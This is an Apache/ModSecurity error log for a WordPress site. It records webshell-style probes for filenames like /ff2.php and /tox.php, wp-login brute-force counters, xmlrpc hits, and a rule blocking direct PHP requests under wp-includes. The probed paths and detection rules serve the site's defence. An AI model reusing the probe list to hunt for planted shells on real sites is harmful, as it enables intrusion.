[Wed Jan 14 06:28:25.630813 2026] [:error] [pid 24603:tid 24673] [client 4.213.64.52:4820] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ff2.php"] [unique_id "aWbHCZPBJGFGN8VT8_Sx2AAAAIg"]
[Wed Jan 14 06:28:25.912475 2026] [:error] [pid 24602:tid 24642] [client 4.213.64.52:4915] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aWbHCUooYwabcb9R9fxAxAAAAEQ"]
[Wed Jan 14 06:28:26.186978 2026] [:error] [pid 58868:tid 58884] [client 4.213.64.52:4887] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aWbHCk67yj8PZAmdsblymAAAAU4"]
[Wed Jan 14 06:28:26.461670 2026] [:error] [pid 58699:tid 58707] [client 4.213.64.52:4801] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aWbHCuYdPBtkMLK2Sdq2ugAAAQU"]
[Wed Jan 14 06:28:26.741062 2026] [:error] [pid 58901:tid 58947] [client 4.213.64.52:4525] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dfre.php"] [unique_id "aWbHCr3kQSrcqIWtO0o4lgAAAdE"]
[Wed Jan 14 06:28:27.016360 2026] [:error] [pid 24603:tid 24666] [client 4.213.64.52:4848] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aWbHC5PBJGFGN8VT8_Sx2wAAAIE"]
[Wed Jan 14 06:28:27.296235 2026] [:error] [pid 58901:tid 58940] [client 4.213.64.52:4771] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aWbHC73kQSrcqIWtO0o4mAAAAco"]
[Wed Jan 14 06:28:27.570090 2026] [:error] [pid 24602:tid 24650] [client 4.213.64.52:4893] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aWbHC0ooYwabcb9R9fxAxQAAAEw"]
[Wed Jan 14 06:28:27.842630 2026] [:error] [pid 58901:tid 58938] [client 4.213.64.52:4491] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.1.php"] [unique_id "aWbHC73kQSrcqIWtO0o4mQAAAcg"]
[Wed Jan 14 06:28:28.115617 2026] [:error] [pid 58901:tid 58954] [client 4.213.64.52:4736] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aWbHDL3kQSrcqIWtO0o4mwAAAdg"]
[Wed Jan 14 06:28:28.390926 2026] [:error] [pid 58901:tid 58936] [client 4.213.64.52:4903] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aWbHDL3kQSrcqIWtO0o4nAAAAcY"]
[Wed Jan 14 06:28:28.680400 2026] [:error] [pid 58901:tid 58945] [client 4.213.64.52:4541] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aWbHDL3kQSrcqIWtO0o4nQAAAc8"]
[Wed Jan 14 06:28:28.953680 2026] [:error] [pid 24602:tid 24654] [client 4.213.64.52:4830] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aWbHDEooYwabcb9R9fxAxgAAAFA"]
[Wed Jan 14 06:28:29.237250 2026] [:error] [pid 58901:tid 58951] [client 4.213.64.52:4910] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clawwww.php"] [unique_id "aWbHDb3kQSrcqIWtO0o4ngAAAdU"]
[Wed Jan 14 06:28:29.511961 2026] [:error] [pid 58901:tid 58948] [client 4.213.64.52:4837] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clawwww.php"] [unique_id "aWbHDb3kQSrcqIWtO0o4oAAAAdI"]
[Wed Jan 14 06:28:29.796021 2026] [:error] [pid 58699:tid 58718] [client 4.213.64.52:4842] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clawwww.php"] [unique_id "aWbHDeYdPBtkMLK2Sdq2uwAAARA"]
[Wed Jan 14 06:28:30.075743 2026] [:error] [pid 58699:tid 58717] [client 4.213.64.52:4913] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clawwww.php"] [unique_id "aWbHDuYdPBtkMLK2Sdq2vAAAAQ8"]
[Wed Jan 14 06:28:30.352057 2026] [:error] [pid 59074:tid 59084] [client 4.213.64.52:4806] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aWbHDk_KrJ818pzhB3xwHAAAAkg"]
[Wed Jan 14 06:28:30.634629 2026] [:error] [pid 58901:tid 58933] [client 4.213.64.52:4512] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aWbHDr3kQSrcqIWtO0o4ogAAAcM"]
[Wed Jan 14 06:28:30.908572 2026] [:error] [pid 24601:tid 24633] [client 4.213.64.52:4744] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aWbHDkCtWkZ9rlKW5n-KPgAAABc"]
[Wed Jan 14 06:28:31.190370 2026] [:error] [pid 24602:tid 24644] [client 4.213.64.52:4831] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tox.php"] [unique_id "aWbHD0ooYwabcb9R9fxAxwAAAEY"]
[Wed Jan 14 06:28:31.462323 2026] [:error] [pid 58699:tid 58719] [client 4.213.64.52:4517] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/push.php"] [unique_id "aWbHD-YdPBtkMLK2Sdq2vQAAARE"]
[Wed Jan 14 06:28:31.773333 2026] [:error] [pid 24602:tid 24655] [client 4.213.64.52:4998] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/push.php"] [unique_id "aWbHD0ooYwabcb9R9fxAyAAAAFE"]
[Wed Jan 14 06:28:32.047539 2026] [:error] [pid 24601:tid 24631] [client 4.213.64.52:4753] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/push.php"] [unique_id "aWbHEECtWkZ9rlKW5n-KPwAAABU"]
[Wed Jan 14 06:28:32.327245 2026] [:error] [pid 58901:tid 58953] [client 4.213.64.52:4817] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/push.php"] [unique_id "aWbHEL3kQSrcqIWtO0o4owAAAdc"]
[Wed Jan 14 06:28:32.600944 2026] [:error] [pid 24602:tid 24659] [client 4.213.64.52:4539] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa2.php"] [unique_id "aWbHEEooYwabcb9R9fxAygAAAFU"]
[Wed Jan 14 06:28:32.886774 2026] [:error] [pid 24601:tid 24615] [client 4.213.64.52:4533] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa2.php"] [unique_id "aWbHEECtWkZ9rlKW5n-KQAAAAAU"]
[Wed Jan 14 06:28:33.160985 2026] [:error] [pid 24601:tid 24619] [client 4.213.64.52:4883] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa2.php"] [unique_id "aWbHEUCtWkZ9rlKW5n-KQQAAAAk"]
[Wed Jan 14 06:28:33.436350 2026] [:error] [pid 58699:tid 58704] [client 4.213.64.52:4853] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa2.php"] [unique_id "aWbHEeYdPBtkMLK2Sdq2vwAAAQI"]
[Wed Jan 14 06:28:33.712359 2026] [:error] [pid 58901:tid 58932] [client 4.213.64.52:4870] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dot.php"] [unique_id "aWbHEb3kQSrcqIWtO0o4pQAAAcI"]
[Wed Jan 14 06:28:33.987096 2026] [:error] [pid 59074:tid 59076] [client 4.213.64.52:4891] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dot.php"] [unique_id "aWbHEU_KrJ818pzhB3xwIAAAAkA"]
[Wed Jan 14 06:28:34.274086 2026] [:error] [pid 58699:tid 58725] [client 4.213.64.52:4827] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dot.php"] [unique_id "aWbHEuYdPBtkMLK2Sdq2wAAAARc"]
[Wed Jan 14 06:28:34.549146 2026] [:error] [pid 24710:tid 24715] [client 4.213.64.52:4826] [client 4.213.64.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dot.php"] [unique_id "aWbHEmXBo5bEhDEEhs10DQAAAMM"]
[Wed Jan 14 06:34:35.131149 2026] [:error] [pid 24603:tid 24689] [client 217.160.134.12:41672] [client 217.160.134.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 217.160.134.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWbIe5PBJGFGN8VT8_SzHAAAAJg"]
[Wed Jan 14 08:23:16.492319 2026] [autoindex:error] [pid 19187:tid 19211] [client 4.217.232.162:16560] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 08:23:31.782820 2026] [autoindex:error] [pid 19187:tid 19192] [client 4.217.232.162:16560] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 08:23:34.400934 2026] [autoindex:error] [pid 19187:tid 19200] [client 4.217.232.162:16560] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Wed Jan 14 08:23:34.540738 2026] [autoindex:error] [pid 19187:tid 19197] [client 4.217.232.162:16560] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Wed Jan 14 08:23:34.674813 2026] [:error] [pid 19187:tid 19211] [client 4.217.232.162:16560] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aWbiBs9QVhFYhOfPPbO01QAAAFM"], referer: https://www.google.fr/
[Wed Jan 14 08:23:34.950104 2026] [autoindex:error] [pid 19278:tid 19302] [client 4.217.232.162:16543] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Wed Jan 14 08:23:35.085267 2026] [:error] [pid 19278:tid 19294] [client 4.217.232.162:16543] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/buttons/index.php"] [unique_id "aWbiB1GofyyxZQcTd1UySAAAAA4"], referer: https://www.google.fr/
[Wed Jan 14 08:23:35.354765 2026] [:error] [pid 19278:tid 19283] [client 4.217.232.162:16915] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/gallery/index.php"] [unique_id "aWbiB1GofyyxZQcTd1UySQAAAAM"], referer: https://www.google.com/
[Wed Jan 14 08:23:35.631255 2026] [:error] [pid 19278:tid 19295] [client 4.217.232.162:16902] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/list-item/index.php"] [unique_id "aWbiB1GofyyxZQcTd1UySgAAAA8"], referer: https://www.google.co.uk/
[Wed Jan 14 08:23:35.899851 2026] [:error] [pid 19188:tid 19239] [client 4.217.232.162:16539] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/media-text/index.php"] [unique_id "aWbiB54gjaoWMKiTtXtLoAAAAVM"], referer: https://www.google.co.uk/
[Wed Jan 14 08:23:36.176945 2026] [:error] [pid 19188:tid 19220] [client 4.217.232.162:16559] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/index.php"] [unique_id "aWbiCJ4gjaoWMKiTtXtLoQAAAUA"], referer: https://www.google.co.uk/
[Wed Jan 14 08:23:36.454011 2026] [:error] [pid 19188:tid 19240] [client 4.217.232.162:16909] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/search/index.php"] [unique_id "aWbiCJ4gjaoWMKiTtXtLogAAAVQ"], referer: https://www.yahoo.com/
[Wed Jan 14 08:23:36.729503 2026] [:error] [pid 19278:tid 19282] [client 4.217.232.162:16912] [client 4.217.232.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/index.php"] [unique_id "aWbiCFGofyyxZQcTd1UyTgAAAAI"], referer: https://www.google.de/
[Wed Jan 14 09:53:55.910489 2026] [:error] [pid 19278:tid 19290] [client 208.109.18.154:28746] [client 208.109.18.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.18.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWb3M1GofyyxZQcTd1VNWAAAAAo"]
[Wed Jan 14 09:54:08.815693 2026] [:error] [pid 19188:tid 19241] [client 208.109.18.154:15990] [client 208.109.18.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.18.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWb3QJ4gjaoWMKiTtXtfzwAAAVU"]
[Wed Jan 14 09:54:10.726877 2026] [:error] [pid 19188:tid 19237] [client 208.109.18.154:15990] [client 208.109.18.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.18.154, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWb3Qp4gjaoWMKiTtXtf0QAAAVE"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 10:47:13.662628 2026] [:error] [pid 36986:tid 37010] [client 162.216.9.124:44956] [client 162.216.9.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.216.9.124, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWcDsde0JvHv1YdpWx7xtQAAAJU"]
[Wed Jan 14 15:45:08.335126 2026] [:error] [pid 61377:tid 61428] [client 34.83.134.63:35144] [client 34.83.134.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.134.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWdJhMx0Xs4tcq6R-WgbAwAAAdI"]
[Wed Jan 14 16:12:10.115867 2026] [:error] [pid 8057:tid 8064] [client 194.163.174.55:44846] [client 194.163.174.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.174.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWdP2rFNJ5k8MCPHoPXlEQAAAMU"]
[Wed Jan 14 16:12:11.991873 2026] [:error] [pid 8057:tid 8072] [client 194.163.174.55:44846] [client 194.163.174.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.174.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWdP27FNJ5k8MCPHoPXlEwAAAM0"], referer: https://gigfragments.org/wp-login.php
[Wed Jan 14 17:03:34.845679 2026] [autoindex:error] [pid 61377:tid 61431] [client 38.242.213.228:62073] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
